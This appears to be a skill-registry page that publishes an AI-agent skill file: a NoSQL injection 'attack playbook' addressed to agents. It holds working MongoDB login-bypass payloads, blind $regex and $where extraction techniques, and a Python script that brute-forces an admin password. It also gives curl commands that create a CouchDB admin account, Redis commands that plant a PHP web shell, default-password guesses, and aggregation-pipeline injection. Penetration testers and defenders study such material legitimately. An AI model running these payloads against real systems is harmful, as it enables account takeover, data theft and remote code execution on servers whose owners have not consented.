agentleFS
JustineDevsJustineDevs/premortem/.agents/skills/nosql-injection/SKILL.md

nosql-injection

Skill2 starsChanged 5 months agoApache-2.0View on GitHub

NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.

  • Sends data out

6 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use path-traversal, ssti and 2 more.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • langbyyiSkill

    path-traversal

    Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.

    Also in 3 projects that use this

  • SubhiSecSkill

    ssti

    Hunt Server-Side Template Injection (SSTI) in Jinja2, Twig, Freemarker, Velocity, Smarty, ERB, Handlebars, Mustache, and Spring (SpEL). Use when input is reflected in a way that suggests template rendering — error pages, email templates, PDF generators, dynamic content systems.

    Also in 3 projects that use this

  • SubhiSecSkill

    business-logic

    Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.

    Also in 3 projects that use this

  • iAskShahramSkill

    file-upload

    Uploads a local file to Cloudflare R2 bucket `public` with wrangler and returns the public URL on assets.shahram.dev. Use when the user wants a public link, public URL, or to host/upload a local image or file to R2.

    Also in 3 projects that use this

The file

We split this skill into the rules it gives an agent

4 rules. 0 are common, 1 is distinctive, and 3 are very specific to this project.

  • 0

    Common

    Most of the 5 edited versions we read keep these.

  • 1

    Distinctive

    This author's own choices. Worth a look.

  • 3

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Very specific:

    When user-controlled data enters $match or $group stages:

    line 122
  2. Very specific:

    Use qs library parse behavior in Node.js:

    line 148
  3. Very specific:

    JSON variant: test (change Content-Type to application/json if endpoint is form-based):

    line 214
  4. Distinctive:

    When user input reaches MongoDB aggregation pipeline stages:

    line 302

“Common” is measured: kept by at least 6 in 10 of the 5 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

SKILL: NoSQL Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.


1. CORE CONCEPT — OPERATOR INJECTION

SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.

MongoDB example — normal query:

db.users.find({username: "alice", password: "secret"})

Injection via JSON operator:

{
  "username": "admin",
  "password": {"$gt": ""}
}

→ Becomes: find({username:"admin", password:{$gt:""}}) → password > "" → always true!


2. MONGODB — LOGIN BYPASS

JSON Body Injection (API with JSON Content-Type)

POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}

PHP $_POST Array Injection (URL-encoded form)

username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*

Ruby / Python params Array Injection

Same as PHP — use bracket notation to inject objects:

?username[%24ne]=invalid&password[%24ne]=invalid

%24 = URL-encoded $


3. MONGODB OPERATORS FOR INJECTION

OperatorMeaningUse Case
$nenot equal{"password": {"$ne": "x"}} → always matches
$gtgreater than{"password": {"$gt": ""}} → all non-empty passwords match
$gtegreater or equalSimilar to $gt
$ltless than{"password": {"$lt": "~"}} → all ASCII match
$regexregex match{"username": {"$regex": "adm.*"}}
$whereJS expressionMOST DANGEROUS — code execution
$existsfield exists{"admin": {"$exists": true}}
$inin array{"username": {"$in": ["admin","user"]}}

4. BLIND DATA EXTRACTION VIA $REGEX

Like binary search in SQLi, use $regex to extract field values character by character:

// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}

// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}

// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}

Response difference: successful login vs failed login = boolean oracle.

Automate with NoSQLMap or custom script with binary search on character set.


5. MONGODB $WHERE INJECTION (JS EXECUTION)

$where evaluates JavaScript in MongoDB context.
Can only use current document's fields — not system access. But allows logic abuse:

{"$where": "this.username == 'admin' && this.password.length > 0"}

// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}

// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}

Limit: $where doesn't give OS command execution — server-side JS injection (not to be confused with command injection).


6. AGGREGATION PIPELINE INJECTION

When user-controlled data enters $match or $group stages:

// Vulnerable code:
db.collection.aggregate([
  {$match: {category: userInput}},  // userInput = {"$ne": null}
  ...
])

Inject operators to bypass:

// Input as object:
{"$ne": null}  → matches all categories
{"$regex": ".*"}  → matches all

7. HTTP PARAMETER POLLUTION FOR NOSQL

Some frameworks (Express.js, PHP) parse repeating parameters as arrays:

?filter=value1&filter=value2 → filter = ["value1", "value2"]

Use qs library parse behavior in Node.js:

?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection

8. COUCHDB ATTACKS

HTTP Admin API (if exposed)

# List databases:
curl http://target.com:5984/_all_dbs

# Read all documents in a DB:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true

# Create admin account (if anonymous access allowed):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'

9. REDIS INJECTION

Redis exposed (6379) with no auth — command injection via input used in Redis queries:

# Via SSRF or direct injection:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE

Auth bypass (older Redis with requirepass using simple password):

AUTH password
AUTH 123456
AUTH redis
AUTH admin

10. DETECTION PAYLOADS

Send these to any input processed by NoSQL backend:

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=

JSON variant test (change Content-Type to application/json if endpoint is form-based):

{"username": "admin", "password": {"$ne": ""}}

11. NOSQL VS SQL — KEY DIFFERENCES

AspectSQLiNoSQLi
LanguageSQL syntaxQuery operator objects
Injection vectorString concatenationObject/operator injection
Common signalQuote breaks response{$ne:x} changes response
Extraction methodUNION / error-based$regex character oracle
Auth bypass' OR 1=1--{"password":{"$ne":""}}
OS commandxp_cmdshell (MSSQL)Rare (need $where + CVE)
FingerprintDB-specific error messages"cannot use $" errors

12. TESTING CHECKLIST

□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")

13. BLIND NoSQL EXTRACTION AUTOMATION

$regex Character-by-Character Extraction (Python Template)

import requests
import string

url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""

while True:
    found = False
    for c in charset:
        payload = {
            "username": "admin",
            "password[$regex]": f"^{password}{c}.*"
        }
        r = requests.post(url, json=payload)
        if "success" in r.text or r.status_code == 302:
            password += c
            found = True
            print(f"Found: {password}")
            break
    if not found:
        break

print(f"Final password: {password}")

$regex via URL-encoded GET Parameters

username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# Iterate through charset until login succeeds

Duplicate Key Bypass

// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100

14. AGGREGATION PIPELINE INJECTION

When user input reaches MongoDB aggregation pipeline stages:

// If user controls $match stage:
db.collection.aggregate([
  { $match: { user: INPUT } }  // INPUT from user
])

// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents

// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{ $lookup: {
    from: "admin_users",       // attacker-chosen collection
    localField: "user_id",
    foreignField: "_id",
    as: "leaked"
}}

// $out to write results to new collection:
{ $out: "public_collection" }  // Write query results to accessible collection

$where JavaScript Execution

// $where allows arbitrary JavaScript (DANGEROUS):
db.users.find({ $where: "this.username == 'admin'" })

// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='

Reference: Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)

Note: $where runs JavaScript on the server. Besides logic abuse and timing oracles, older MongoDB builds without a tight V8 sandbox historically raised RCE concerns; prefer treating any $where sink as high risk.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.